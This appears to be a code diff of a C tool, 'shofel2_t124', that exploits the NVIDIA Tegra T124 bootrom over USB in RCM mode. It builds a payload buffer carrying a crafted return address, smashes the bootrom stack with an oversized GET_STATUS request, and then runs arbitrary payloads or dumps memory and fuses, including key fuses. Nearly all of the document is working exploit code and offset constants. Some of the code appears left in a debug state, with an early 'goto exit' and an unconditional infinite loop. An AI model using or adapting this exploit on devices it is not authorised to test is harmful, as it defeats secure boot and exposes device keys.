printf( "FUSE_SPARE_BITS 56-59: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[56], fuse_chip_registers->FUSE_SPARE_BITS[57], fuse_chip_registers->FUSE_SPARE_BITS[58], fuse_chip_registers->FUSE_SPARE_BITS[59] );
printf( "FUSE_SPARE_BITS 60-63: %08x %08x %08x %08x\n", fuse_chip_registers->FUSE_SPARE_BITS[60], fuse_chip_registers->FUSE_SPARE_BITS[61], fuse_chip_registers->FUSE_SPARE_BITS[62], fuse_chip_registers->FUSE_SPARE_BITS[63] );
}

View File

@ -0,0 +1,173 @@
#include "mini_libusb.h"
#define SYSFS_MOUNT_PATH "/sys"
#define SYSFS_DEVICE_PATH SYSFS_MOUNT_PATH "/bus/usb/devices"
struct setup_data {
uint8_t bRequestType;
uint8_t bRequest;
uint16_t wValue;
uint16_t wIndex;
uint16_t wLength;
uint8_t data[];
};
int usb_get_att(uint16_t *val, char *d_name, char *attr, int base) {
int ret = -1;
char filepath[256];
char attr_buf[20];
int attr_fd;
snprintf(filepath, sizeof(filepath), SYSFS_DEVICE_PATH "/%s/%s", d_name, attr);
attr_fd = open(filepath, O_RDONLY);
if (attr_fd < 0) {
DEBUG_MSG( "Usb %s: %s attribute not found.\n", d_name, attr );
goto exit;
}
if ( !read(attr_fd, attr_buf, sizeof(attr_buf)) ) {
DEBUG_MSG( "Usb %s: couldn't read %s.\n", d_name, attr );
goto exit;
}
*val = (uint16_t) strtol(attr_buf, NULL, base);
ret = 0;
exit:
close(attr_fd);
return ret;
}
int usb_find_path_by_vid_pid( char *path, uint16_t vid, uint16_t pid ) {
int ret = -1;
uint16_t d_vid, d_pid, d_bus, d_num;
DIR *devices = opendir( SYSFS_DEVICE_PATH );
struct dirent *entry;
if ( !devices ) {
fprintf( stderr, "Critical Error: Sysfs not avaiable." );
return 1;
}
while ( ( entry = readdir( devices ) ) ) {
if ( !isdigit( entry->d_name[0] ) || strchr( entry->d_name, ':' ) )
continue;
if ( !usb_get_att( &d_vid, entry->d_name, "idVendor", 16 ) && ( vid == d_vid ) &&
!usb_get_att( &d_pid, entry->d_name, "idProduct", 16 ) && ( pid == d_pid ) &&
!usb_get_att( &d_bus, entry->d_name, "busnum", 10 ) &&
!usb_get_att( &d_num, entry->d_name, "devnum", 10 ) ) {
sprintf( path, "/dev/bus/usb/%03d/%03d", d_bus, d_num );
ret = 0;
break;
}
}
closedir( devices );
return ret;
}
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait ) {
int ret;
char path[256];
do {
ret = usb_find_path_by_vid_pid( path, vid, pid );
usleep( 500 );
} while ( wait && ( ret < 0 ) );
DEBUG_MSG( "USB Path: %s\n", path );
if (ret) {
return -1;
}
return open( path, O_RDWR );
}
int usb_close( int usb ) {
return usb;
}
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout ) {
int ret = -1;
size_t setup_len = sizeof ( struct setup_data ) + len;
struct setup_data *setup_data_buf;
setup_data_buf = malloc( setup_len );
memset( setup_data_buf, 0, setup_len );
setup_data_buf->bRequestType = bRequestType;
setup_data_buf->bRequest = bRequest;
setup_data_buf->wValue = wValue;
setup_data_buf->wIndex = wIndex;
setup_data_buf->wLength = len;
struct usbdevfs_urb usb_control_urb;
memset(&usb_control_urb, 0, sizeof (usb_control_urb));
usb_control_urb.type = USBDEVFS_URB_TYPE_CONTROL;
usb_control_urb.endpoint = 0x0;
usb_control_urb.buffer = setup_data_buf;
usb_control_urb.buffer_length = setup_len;
ioctl( usb, USBDEVFS_SUBMITURB, &usb_control_urb );
struct usbdevfs_urb *urb_reaped = NULL;
if ( timeout ) {
while ( timeout > 0 ) {
int _ret = ioctl( usb, USBDEVFS_REAPURBNDELAY, &urb_reaped );
if ( _ret == 0 ) {
break;
}
usleep(200000);
timeout -= 200;
}
} else {
ioctl( usb, USBDEVFS_REAPURB, &urb_reaped );
}
if ( urb_reaped && urb_reaped->status == 0 ) {
ret = 0;
memcpy( data, setup_data_buf->data, len );
}
if ( setup_data_buf ) free( setup_data_buf );
return ret;
}
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data ) {
struct usbdevfs_bulktransfer bulk_txn;
memset( &bulk_txn, 0, sizeof ( bulk_txn ) );
bulk_txn.ep = ep;
bulk_txn.len = len;
bulk_txn.timeout = USB_BULK_TIMEOUT;
bulk_txn.data = data;
if ( ioctl( usb, USBDEVFS_BULK, &bulk_txn ) == len )
return 0;
return -1;
}

View File

@ -0,0 +1,151 @@
#include "rcm.h"
int get_payload_aft_len( int payload_file_fd ) {
struct stat payload_file_stat;
fstat( payload_file_fd, &payload_file_stat );
size_t payload_size = payload_file_stat.st_size;
if ( payload_size > MAX_PAYLOAD_FILE_SIZE ) {
fprintf( stderr, "Error: Payload file exceeds max payload size: %d bytes.\n", MAX_PAYLOAD_FILE_SIZE );
return -1;
}
size_t payload_aft_len = 0;
if ( payload_size > MAX_PAYLOAD_BEF_SIZE ) {
payload_aft_len = payload_size - MAX_PAYLOAD_BEF_SIZE;
}
return payload_aft_len;
}
int read_intermezzo( uint8_t *rcm_cmd_buf ) {
int ret = -1;
int intermezzo_fd = 0;
intermezzo_fd = open( "intermezzo.bin", O_RDONLY );
if ( intermezzo_fd < 0 ) {
fprintf( stderr, "Error: Couldn't open the intermezzo.bin file.\n" );
goto exit;
}
struct stat intermezzo_stat;
fstat( intermezzo_fd, &intermezzo_stat );
size_t intermezzo_size = intermezzo_stat.st_size;
if ( intermezzo_size > INTERMEZZO_LEN ) {
fprintf( stderr, "Error: Intermezzo file exceeds max intermezzo size: %d bytes.\n", INTERMEZZO_LEN );
goto exit;
}
read( intermezzo_fd, rcm_cmd_buf + RCM_CMD_BUF_INTERMEZZO_START, INTERMEZZO_LEN );
ret = 0;
exit:
if ( intermezzo_fd > 0) close( intermezzo_fd );
return ret;
}
int read_payload_file( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len ) {
uint32_t payload_bef_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_START, MAX_PAYLOAD_BEF_SIZE );
uint32_t payload_aft_len = 0;
if ( rcm_cmd_buf_len > RCM_CMD_BUF_PAYLOAD_CONT ) {
payload_aft_len = read( payload_file_fd, rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_CONT, rcm_cmd_buf_len - RCM_CMD_BUF_PAYLOAD_CONT );
}
payload_bef_len = TO_LITTLE_ENDIAN( payload_bef_len );
payload_aft_len = TO_LITTLE_ENDIAN( payload_aft_len );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_BEF_LENVAR, (uint8_t *)&payload_bef_len, 0x4 );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_AFT_LENVAR, (uint8_t *)&payload_aft_len, 0x4 );
return 0;
}
int build_rcm_cmd( int payload_file_fd, uint8_t *rcm_cmd_buf, size_t rcm_cmd_buf_len, uint32_t payload_thumb_mode ) {
int ret = -1;
const uint32_t rcm_cmd_len = TO_LITTLE_ENDIAN( RCM_CMD_LEN );
const uint32_t payload_entry = TO_LITTLE_ENDIAN( BOOTROM_PAYLOAD_ENTRY | 0x1 );
payload_thumb_mode = TO_LITTLE_ENDIAN( payload_thumb_mode );
ret = read_intermezzo( rcm_cmd_buf );
if ( ret < 0 ) {
goto exit;
}
ret = read_payload_file( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len );
if ( ret < 0 ) {
goto exit;
}
memcpy( rcm_cmd_buf, (uint8_t *)&rcm_cmd_len, sizeof(uint32_t) );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_MEMCPY_RET_ADD, (uint8_t *)&payload_entry, sizeof(uint32_t) );
memcpy( rcm_cmd_buf + RCM_CMD_BUF_PAYLOAD_THUMB_MODE, (uint8_t *)&payload_thumb_mode, sizeof(uint32_t) );
ret = 0;
exit:
return ret;
}
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode ) {
int ret = -1;
uint8_t *rcm_cmd_buf = 0;
int payload_file_fd = 0;
payload_file_fd = open( payload_filename, O_RDONLY );
if ( payload_file_fd < 0 ) {
fprintf( stderr, "Error: Couldn't open the payload file: %s.\n", payload_filename );
goto exit;
}
int payload_aft_len = get_payload_aft_len( payload_file_fd );
if ( payload_aft_len < 0 ) {
goto exit;
}
size_t rcm_cmd_buf_len = RCM_CMD_BUF_PAYLOAD_CONT + payload_aft_len;
printf("len rcm_cmd_buf = %d\n", (int) (rcm_cmd_buf_len));
size_t padding = 0x1000 - ( rcm_cmd_buf_len % 0x1000 );
printf("padding = %d\n", (int) (padding));
uint32_t n_writes = ( rcm_cmd_buf_len + padding) / 0x1000;
if ( ! ( n_writes % 2 ) ) {
padding += 0x1000;
}
printf("padding = %d\n", (int) (padding));
rcm_cmd_buf = malloc( rcm_cmd_buf_len + padding );
if ( !rcm_cmd_buf ) {
fprintf( stderr, "Error: Couldn't alloc memory for RCM CMD buffer\n" );
goto exit;
}
memset( rcm_cmd_buf, 0x00, rcm_cmd_buf_len + padding);
ret = build_rcm_cmd( payload_file_fd, rcm_cmd_buf, rcm_cmd_buf_len, payload_thumb_mode );
if ( ret < 0 ) {
goto exit;
}
printf("len rcm_cmd_buf = %d", (int) (rcm_cmd_buf_len + padding));
goto exit;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, rcm_cmd_buf_len + padding, rcm_cmd_buf );
exit:
if (payload_file_fd > 0) close(payload_file_fd);
if (rcm_cmd_buf) free(rcm_cmd_buf);
return ret;
}

View File

@ -0,0 +1,246 @@
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include "t124.h"
#include "rcm.h"
#include "fuse.h"
#include "mini_libusb.h"
#include "mem_dumper_usb_server.h"
void print_hex_memory( void *mem, size_t size ) {
uint8_t *p = (uint8_t *)mem;
for ( int i = 0; i < size ; i++ ) {
if ( ( ( i % 16 ) == 0 ) && i )
printf( "\n" );
printf( "0x%02x ", p[i] );
}
printf( "\n" );
}
void print_help() {
fprintf( stderr, "shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD | DUMP_STACK ) [options]\n"
"\t* MEM_DUMP address length out_file -> Dumps \"length\" bytes starting from \"address\" to \"out_file\".\n"
"\t* READ_FUSES out_file -> Dumps the T124 fuses to \"out_file\" and show them in console.\n"
"\t* BOOT_BCT -> Boots BCT without applying locks.\n"
"\t* PAYLOAD payload.bin [arm|thumb] -> Boots \"payload.bin\" the entrymode mode can be specified (thumb by default).\n"
"\t* DUMP_STACK -> Dumps the stack as it is before smash it.\n\n" );
}
int main( int argc, char *argv[] ) {
int _ret_main = -1;
int rcm_usb = 0;
uint8_t *data = NULL;
int hacky_get_status_len = BOOTROM_SMASH_LEN;
char *payload_filename = NULL;
uint32_t payload_thumb_mode = 1;
uint8_t *dump = NULL;
uint32_t dump_start = 0;
uint32_t dump_len = 0;
char *dump_filename;
int dump_fd = -1;
uint8_t do_print_fuse = 0;
// ---- PARSE ARGS ----
if ( argc < 2 ) {
fprintf( stderr, "Error: invalid argument count.\n\n" );
print_help();
goto exit;
}
if ( !strcmp( argv[1], "MEM_DUMP" ) ) {
if ( argc != 5 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 MEM_DUMP address length out_file.\n" );
goto exit;
}
payload_filename = "mem_dumper_usb_server.bin";
sscanf( argv[2], "%x", &dump_start );
sscanf( argv[3], "%x", &dump_len );
dump_filename = argv[4];
} else if ( !strcmp( argv[1], "READ_FUSES" ) ) {
if ( argc != 3 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 READ_FUSES out_file.\n" );
goto exit;
}
payload_filename = "mem_dumper_usb_server.bin";
dump_start = FUSE_BASE;
dump_len = FUSE_LEN;
dump_filename = argv[2];
do_print_fuse = 1;
} else if ( !strcmp( argv[1], "BOOT_BCT" ) ) {
if ( argc != 2 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 BOOT_BCT.\n" );
goto exit;
}
payload_filename = "boot_bct.bin";
} else if ( !strcmp( argv[1], "PAYLOAD" ) ) {
if ( ( argc != 3 ) && ( argc != 4 ) ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 PAYLOAD payload.bin [arm|thumb]\nThumb mode will be used by default.\n" );
goto exit;
}
payload_filename = argv[2];
if ( ( argc == 4 ) && ( argv[3][0] == 'a' ) ) {
payload_thumb_mode = 0;
}
} else if ( !strcmp( argv[1], "DUMP_STACK" ) ) {
if ( argc != 2 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 DUMP_STACK.\n" );
goto exit;
}
payload_filename = "boot_bct.bin"; // This payload shouldn't run on this CMD...
hacky_get_status_len = BOOTROM_STACK_GAP_LEN;
} else {
fprintf( stderr, "Error: invalid command.\n\n" );
print_help();
goto exit;
}
// --------------------
// ----- INIT RCM -----
printf( "Waiting T124 to enter RCM mode (ctrl-c to cancel). Note: root permission could be required.\n" );
// rcm_usb = usb_open_by_vid_pid( (uint16_t)JETSON_TK1_VID, (uint16_t)JETSON_TK1_PID, 1 );
rcm_usb = usb_open_by_vid_pid( (uint16_t)SHIELD_TK1_VID, (uint16_t)SHIELD_TK1_PID, 1 );
printf( "K1 in RCM mode connected.\n" );
if ( rcm_usb < 0 ) {
fprintf( stderr, "Error: Couldn't open the usb.\n" );
goto exit;
}
uint8_t chip_id_buf[RCM_CHIP_ID_LEN];
memset( &chip_id_buf, 0, sizeof(chip_id_buf) );
int ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, RCM_CHIP_ID_LEN, chip_id_buf );
if ( ret < 0 ) {
fprintf( stderr, "Error: Couldn't read Chip ID. Please reset T124 in RCM mode again.\n" );
goto exit;
}
printf( "Chip ID: " );
print_hex_memory( chip_id_buf, RCM_CHIP_ID_LEN );
//-----------------------
// ---- SEND PAYLOAD ----
ret = send_rcm_cmd(rcm_usb, payload_filename, payload_thumb_mode);
if ( ret < 0 ) {
printf( "Error: Couldn't send RCM CMD.\n" );
goto exit;
}
//----------------------
// ---- RUN EXPLOIT ----
data = malloc( hacky_get_status_len );
ret = usb_send_control_txn( rcm_usb, USB_CTRL_DEVICE_ENDPOINT_TO_HOST,
USB_CTRL_GET_STATUS, 0, 0, hacky_get_status_len, data, 500 );
if ( ret == 0 ) {
if ( hacky_get_status_len == BOOTROM_STACK_GAP_LEN ) {
printf( "Hacky Get Status finished correctly... Showing Stack\n" );
_ret_main = 0;
} else {
printf( "Error: Hacky Get Status finished correctly... Not cool :-(\n" );
}
print_hex_memory( data, hacky_get_status_len );
goto exit;
}
printf( "Hacky Get Status returned error... Probably the stack got smashed, Congrats :-)\n" );
//----------------------
dump_len = 8;
while(1){
dump = malloc( dump_len );
memset(dump, 0x00, dump_len);
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
print_hex_memory(dump, dump_len);
if(ret < 0){
printf("error!");
}
else{
print_hex_memory(dump, dump_len);
}
}
// --- MEM DUMP CMD ----
if ( dump_len ) {
printf( "Dumping %d bytes from 0x%08x.\n", dump_len, dump_start );
struct mem_dumper_args_s mem_dumper_args = {
.start = dump_start,
.len = dump_len
};
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof( mem_dumper_args ), &mem_dumper_args );
if ( ret < 0 ) {
printf( "Error: Fail sending arguments to memory dumper usb server.\n" );
goto exit;
}
dump = malloc( dump_len );
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
if ( ret < 0 ) {
printf( "Error: Fail receiving memory dump.\n" );
goto exit;
}
dump_fd = open( dump_filename, O_WRONLY | O_TRUNC | O_CREAT );
if ( dump_fd < 0 ) {
printf( "Error: Fail opening dump out file.\n" );
goto exit;
}
write( dump_fd, dump, dump_len );
if ( do_print_fuse ) {
print_fuses( (fuse_chip_registers_t *) dump );
}
}
//----------------------
_ret_main = 0;
exit:
if ( rcm_usb > 0 ) usb_close( rcm_usb );
if ( dump ) free( dump );
if ( dump_fd > 0 ) close( dump_fd );
if ( data ) free( data );
return _ret_main;
}

View File

@ -0,0 +1,17 @@
#ifndef _ENDIANNESS_H_
#define _ENDIANNESS_H_
#ifdef __BYTE_ORDER
#if __BYTE_ORDER == __BIG_ENDIAN
#include <byteswap.h>
#define TO_LITTLE_ENDIAN(x) bswap_32(x)
#elif __BYTE_ORDER == __LITTLE_ENDIAN
#define TO_LITTLE_ENDIAN(x) x
#endif
#endif
#endif

View File

@ -0,0 +1,127 @@
#ifndef _FUSE_H_
#define _FUSE_H_
#include <stdio.h>
#include <stdint.h>
// Based on https://github.com/moriczgergo/moonflower/blob/933ab9ef66b76aa49ad2c29ca88d78173a81eff2/src/fuse.h
typedef struct {
uint32_t FUSE_PRODUCTION_MODE; //0x000
uint32_t FUSE_JTAG_SECUREID_VALID; //0x004
uint32_t FUSE_ODM_LOCK; //0x008
uint32_t FUSE_OPT_OPENGL_EN; //0x00c
uint32_t FUSE_SKU_INFO; //0x010
uint32_t FUSE_CPU_SPEEDO_0_CALIB; //0x014
uint32_t FUSE_CPU_IDDQ_CALIB; //0x018
uint32_t RESERVED_0x01C;
uint32_t RESERVED_0x020;
uint32_t RESERVED_0x024;
uint32_t FUSE_OPT_FT_REV; //0x028
uint32_t FUSE_CPU_SPEEDO_1_CALIB; //0x02c
uint32_t FUSE_CPU_SPEEDO_2_CALIB; //0x030
uint32_t FUSE_SOC_SPEEDO_0_CALIB; //0x034
uint32_t FUSE_SOC_SPEEDO_1_CALIB; //0x038
uint32_t FUSE_SOC_SPEEDO_2_CALIB; //0x03c
uint32_t FUSE_SOC_IDDQ_CALIB; //0x040
uint32_t RESERVED_0x044;
uint32_t FUSE_FA; //0x048
uint32_t FUSE_RESERVED_PRODUCTION; //0x04c
uint32_t FUSE_HDMI_LANE0_CALIB; //0x050
uint32_t FUSE_HDMI_LANE1_CALIB; //0x054
uint32_t FUSE_HDMI_LANE2_CALIB; //0x058
uint32_t FUSE_HDMI_LANE3_CALIB; //0x05c
uint32_t FUSE_ENCRYPTION_RATE; //0x060
uint32_t FUSE_PUBLIC_KEY[0x8]; //0x064 - 0x080
uint32_t FUSE_TSENSOR1_CALIB; //0x084
uint32_t FUSE_TSENSOR2_CALIB; //0x088
uint32_t RESERVED_0x08C;
uint32_t FUSE_OPT_CP_REV; //0x090
uint32_t FUSE_OPT_PFG; //0x094
uint32_t FUSE_TSENSOR0_CALIB; //0x098
uint32_t FUSE_BOOTROM_PATCH_SIZE; //0x09c
uint32_t FUSE_SECURITY_MODE; //0x0a0
uint32_t FUSE_PRIVATE_KEY[0x4]; //0x0a4 - 0x0b0
uint32_t FUSE_DEVICE_KEY; //0x0b4
uint32_t FUSE_ARM_DEBUG_DIS; //0x0b8
uint32_t FUSE_BOOT_DEVICE_INFO; //0x0bc
uint32_t FUSE_RESERVED_SW; //0x0c0
uint32_t FUSE_VP8_ENABLE; //0x0c4
uint32_t FUSE_RESERVED_ODM[0x8]; //0x0c8-0x0e4
uint32_t FUSE_OBS_DIS; //0x0e8
uint32_t RESERVED_0x0EC;
uint32_t FUSE_USB_CALIB; //0x0f0
uint32_t FUSE_SKU_DIRECT_CONFIG; //0x0f4
uint32_t FUSE_KFUSE_PRIVKEY_CTRL; //0x0f8
uint32_t FUSE_PACKAGE_INFO; //0x0fc
uint32_t FUSE_OPT_VENDOR_CODE; //0x100
uint32_t FUSE_OPT_FAB_CODE; //0x104
uint32_t FUSE_OPT_LOT_CODE_0; //0x108
uint32_t FUSE_OPT_LOT_CODE_1; //0x10c
uint32_t FUSE_OPT_WAFER_ID; //0x110
uint32_t FUSE_OPT_X_COORDINATE; //0x114
uint32_t FUSE_OPT_Y_COORDINATE; //0x118
uint32_t FUSE_OPT_SEC_DEBUG_EN; //0x11c
uint32_t FUSE_OPT_OPS_RESERVED; //0x120
uint32_t FUSE_SATA_CALIB; //0x124
uint32_t FUSE_GPU_IDDQ_CALIB; //0x128
uint32_t FUSE_TSENSOR3_CALIB; //0x12c
uint32_t FUSE_SKU_BOND_OUT_L; //0x130
uint32_t FUSE_SKU_BOND_OUT_H; //0x134
uint32_t FUSE_SKU_BOND_OUT_U; //0x138
uint32_t FUSE_SKU_BOND_OUT_V; //0x13c
uint32_t FUSE_SKU_BOND_OUT_W; //0x140
uint32_t RESERVED_0x144;
uint32_t FUSE_OPT_SUBREVISION; //0x148
uint32_t FUSE_OPT_SW_RESERVED_0; //0x14c
uint32_t FUSE_OPT_SW_RESERVED_1; //0x150
uint32_t FUSE_TSENSOR4_CALIB; //0x154
uint32_t FUSE_TSENSOR5_CALIB; //0x158
uint32_t FUSE_TSENSOR6_CALIB; //0x15c
uint32_t FUSE_TSENSOR7_CALIB; //0x160
uint32_t FUSE_OPT_PRIV_SEC_EN; //0x164
uint32_t FUSE_PKC_DISABLE; //0x168
uint32_t RESERVED_0x16C;
uint32_t RESERVED_0x170;
uint32_t RESERVED_0x174;
uint32_t RESERVED_0x178;
uint32_t FUSE_FUSE2TSEC_DEBUG_DISABLE; //0x17c
uint32_t FUSE_TSENSOR8_CALIB; //0x180 // <--WTF
uint32_t FUSE_OPT_CP_BIN; //0x184
uint32_t FUSE_OPT_GPU_FS; //0x188
uint32_t FUSE_OPT_FT_BIN; //0x18c
uint32_t RESERVED_0x190;
uint32_t FUSE_SKU_BOND_OUT_X; //0x194
uint32_t FUSE_APB2JTAG_DISABLE; //0x198
uint32_t RESERVED_0x19C;
uint32_t FUSE_PHY_FLOORSWEEP; //0x1a0
uint32_t FUSE_PHY_FLOOR_ENABLE; //0x1a4
uint32_t FUSE_ARM_CRYPT_DE_FEATURE; //0x1a8
uint32_t FUSE_DENVER_MTS_DE_FEATURE; //0x1ac
uint32_t FUSE_DIE_VERSION_OVERRIDE; //0x1b0
uint32_t FUSE_TRIMMERS; //0x1b4
uint32_t FUSE_DENVER_BOOT_SEC; //0x1b8
uint32_t FUSE_DENVER_DFD_ACCESS; //0x1bc
uint32_t FUSE_WOA_SKU_FLAG; //0x1c0
uint32_t FUSE_ECO_RESERVE_1; //0x1c4
uint32_t FUSE_GCPLEX_CONFIG_FUSE; //0x1c8
uint32_t RESERVED_0x1CC;
uint32_t RESERVED_0x1D0;
uint32_t RESERVED_0x1D4;
uint32_t RESERVED_0x1D8;
uint32_t RESERVED_0x1DC;
uint32_t RESERVED_0x1E0;
uint32_t RESERVED_0x1E4;
uint32_t RESERVED_0x1E8;
uint32_t RESERVED_0x1EC;
uint32_t RESERVED_0x1F0;
uint32_t RESERVED_0x1F4;
uint32_t RESERVED_0x1F8;
uint32_t FUSE_SPARE_REALIGNMENT_REG; //0x1fc
uint32_t FUSE_SPARE_BITS[0X40]; //0x200 - 0X2fc
} fuse_chip_registers_t;
void print_fuses( fuse_chip_registers_t *fuse_chip_registers );
#endif

View File

@ -0,0 +1,12 @@
#ifndef _MEM_DUMP_USB_SERVER_H_
#define _MEM_DUMP_USB_SERVER_H_
#include <stdint.h>
struct mem_dumper_args_s {
uint32_t start;
uint32_t len;
};
#endif

View File

@ -0,0 +1,37 @@
#ifndef _MINI_LIBUSB_H_
#define _MINI_LIBUSB_H_
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
#define USB_CTRL_DEVICE_ENDPOINT_TO_HOST 0x82
#define USB_CTRL_GET_STATUS 0x00
#define USB_BULK_TIMEOUT 500
#if DEBUG
#define DEBUG_MSG(fmt, ...) do { fprintf( stderr, "%s:%d:%s(): " fmt, \
__FILE__, __LINE__, __func__, ##__VA_ARGS__ ); } while(0)
#else
#define DEBUG_MSG(fmt, ...)
#endif
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait );
int usb_close( int usb );
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data );
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout );
#endif

View File

@ -0,0 +1,5 @@
#ifndef _MEM_DUMP_USB_SERVER_H_
#define _MEM_DUMP_USB_SERVER_H_
#endif

View File

@ -0,0 +1,17 @@
#ifndef _RCM_H_
#define _RCM_H_
#include <sys/stat.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include "t124.h"
#include "mini_libusb.h"
#include "endianness.h"
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode );
#endif

View File

@ -0,0 +1,99 @@
#ifndef _T124_RCM_H_
#define _T124_RCM_H_
#define JETSON_TK1_VID 0x0955
#define JETSON_TK1_PID 0x7140
#define SHIELD_TK1_VID 0x0955
#define SHIELD_TK1_PID 0x7f40
#define IROM_BEGIN 0x00100000
#define IROM_END 0x0010FFFF
#define IROM_LEN 0x00010000
#define IRAM_BEGIN 0x40000000
#define IRAM_END 0x4003FFFF
#define IRAM_LEN 0x00040000
#define BOOTROM_DO_BCT_BOOT 0x00100624
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
#define BOOTROM_USB_BUF_1 0x40004000
#define BOOTROM_USB_BUF_2 0x40008000
#define BOOTROM_PAYLOAD_ENTRY 0x4000E000
#define BOOTROM_SMASH_TARGET 0x4000DCD8
#define BOOTROM_STACK_GAP_LEN 0x30C
#define BOOTROM_SMASH_LEN (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) // 0x5CD8
#define VARS_LEN 0x10
#define INTERMEZZO_LEN 0x100
#define INTERMEZZO_REL_ADD ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) // 0x4000DF00
#define OFFSET_INTERMEZZO_START 0x0
#define OFFSET_PAYLOAD_START ( INTERMEZZO_LEN )
#define OFFSET_MEMCPY_RET_ADD ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) // 0x59C8 ( 0x30C Bytes copied from the stack before entry )
#define OFFSET_PAYLOAD_BEF_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x4 )
#define OFFSET_PAYLOAD_AFT_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x8 )
#define OFFSET_PAYLOAD_THUMB_MODE ( OFFSET_MEMCPY_RET_ADD - 0xC )
#define OFFSET_PAYLOAD_CONT ( OFFSET_MEMCPY_RET_ADD + 0x4 )
#define IRAM_ADD_INTERMEZZO_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
#define IRAM_ADD_PAYLOAD_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
#define IRAM_ADD_PAYLOAD_BEF_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
#define IRAM_ADD_PAYLOAD_AFT_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
#define IRAM_ADD_PAYLOAD_THUMB_MODE ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
#define IRAM_ADD_PAYLOAD_CONT ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
#define RCM_EP1_IN 0x81
#define RCM_EP1_OUT 0x01
#define RCM_CHIP_ID_LEN 0x10
#define RCM_CMD_LEN 0x32274
#define RCM_CMD_MAX_USEFUL_LEN 0x31000 // Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
#define RCM_CMD_HEADER_LEN 0x284
#define RCM_CMD_BUF_INTERMEZZO_START ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
#define RCM_CMD_BUF_PAYLOAD_START ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
#define RCM_CMD_BUF_MEMCPY_RET_ADD ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
#define RCM_CMD_BUF_PAYLOAD_BEF_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
#define RCM_CMD_BUF_PAYLOAD_AFT_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
#define RCM_CMD_BUF_PAYLOAD_THUMB_MODE ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
#define RCM_CMD_BUF_PAYLOAD_CONT ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
#define MAX_PAYLOAD_BEF_SIZE ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) // 22716 Bytes
#define MAX_PAYLOAD_AFT_SIZE ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) // 177072 Bytes
#define MAX_PAYLOAD_FILE_SIZE ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) // 199788 Bytes
#define SECURE_BOOT_BASE 0x6000C200
#define SB_CSR_0 0x0
#define SB_PIROM_START_0 0x4
#define SB_PFCFG_0 0x8
#define JTAG_ON 0x00000080
#define APB_BASE 0x70000000
#define APB_MISC_PP_CONFIG_CTL_0 0x24
#define APB_MISC_PP_CONFIG_CTL_0_JTAG 0x40
#define APB_MISC_PP_CONFIG_CTL_0_TBE 0x80
#define FLOW_CTLR_BASE 0x60007000
#define FLOW_CTLR_HALT_COP_EVENTS_0 0x4
